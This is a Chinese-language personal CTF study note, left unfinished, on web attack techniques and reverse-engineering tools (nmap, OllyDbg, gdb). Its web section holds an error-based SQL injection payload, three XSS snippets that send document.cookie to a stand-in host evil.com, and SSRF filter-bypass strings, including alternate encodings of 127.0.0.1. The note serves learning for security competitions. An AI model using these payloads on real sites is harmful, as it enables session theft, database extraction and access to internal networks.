CTF学习
Web
nmap
nmap常用的扫描命令是:
nmap -sS -sV-p- 192.168.1.1
或
nmap -v -T4 -A 192.168.1.1/24
Sql注入
利用报错注入:
updatexml:爆破数据库版本Payload:
?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
常见的注入点位置:
- GET参数:最容易发现
- POST:通过抓包来发现,Burp或浏览器插件Hackbar发POST包
- User-Agent:Burp的Repeater模块或Sqlmap
- Cookies:Burp的Repeater模块或Sqlmap
注入的检测; - 插入单引号
- 数字型判断
- 通过数字的加减判断
XSS跨站脚本攻击
反射型、存储型、DOM型
绕过CSP
大部分网站跳转还是要依赖前端来进行,所以在CSP中无法对location.href做出限制,一次可以衍生出大量的绕过方式:
// bypass 1
<script>location='http://eval.com/cookie.php?cookie='+escape(document.cookie);</script>
// bypass 2
<script>
var a=document.createElement("a");
a.href='http://evil.com/cookie.php?cookie='+escape(document.cookie);
document.body.appendChild(a);
a.click();
</script>
// bypass 3
<meta http-equic="refresh" content="1;url=http://evil.com/cookie.php?data=[cookie]"
研究XSS的开源漏洞利用平台:
https://github.com/beefproject/beef/
服务器请求伪造(SSRF)
示例:
ssrf.php:
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
当请求:
http://example.com/ssrf.php?url=http://192.168.252.1:8000/
就能够获取到服务器/目录的文件
绕过正则:
http://example.com@evil.com
绕过内网IP地址过滤:
127.0.0.1的替代写法:
八进制:0177.00.00.01
十进制:2130706433
十六进制:0x7f.0x0.0x0.0x1
省略写法: 127.1
或配置域名:
evil.example.com=>10.0.18.3
特性利用
- PHP语言特性
- Windows系统特性
代码审计
源码泄露
- 常见备份文件
- Github
- svn
- 利用漏洞泄露
代码审计
工具
收费:RIPS,价格不菲,也有开源版,但是有缺点
免费:Seay源代码审计系统,自动审计的过程主要是根据各种正则表达式匹配结果是否存在漏洞
其他:安全狗、D盾、护卫神等Webshell工具扫描
逆向工程
逆向工程是我比较喜欢的方向,之前也做过一些研究,这次学习就细心点吧。
Ollydbg
断点
分类:
- 一般断点:
int3指令
F2键快速下断点
也可以使用命令行:bp xxxxxx或者bp MessageBoxA - 内存断点:
内存访问和内存写入,OD每一时刻只允许一个内存断点 - 硬件断点:
硬件访问、硬件写入、硬件执行,最多设置4个硬件断点
快捷键
- F9:运行程序
- F7:单步跟踪(进入),一条条执行,遇到call会进入执行
- F8:但不跟踪(步过),遇到call不会进入
- F4:执行到所选代码
- Alt+F9:执行到程序领空,主要用于在dll或其他调用库时快速回到主程序领空
gdb
在Linux下调试程序必备,默认情况下,Linux都会自动安装,如果没有,手动安装:
sudo apt-get install gdb
sudo apt-get install gdb-multiarch
插件:peda、gef、pwndbg,都可以在github上面找到
IDA Pro
暂时先写到这,工作考研,我哭了-_-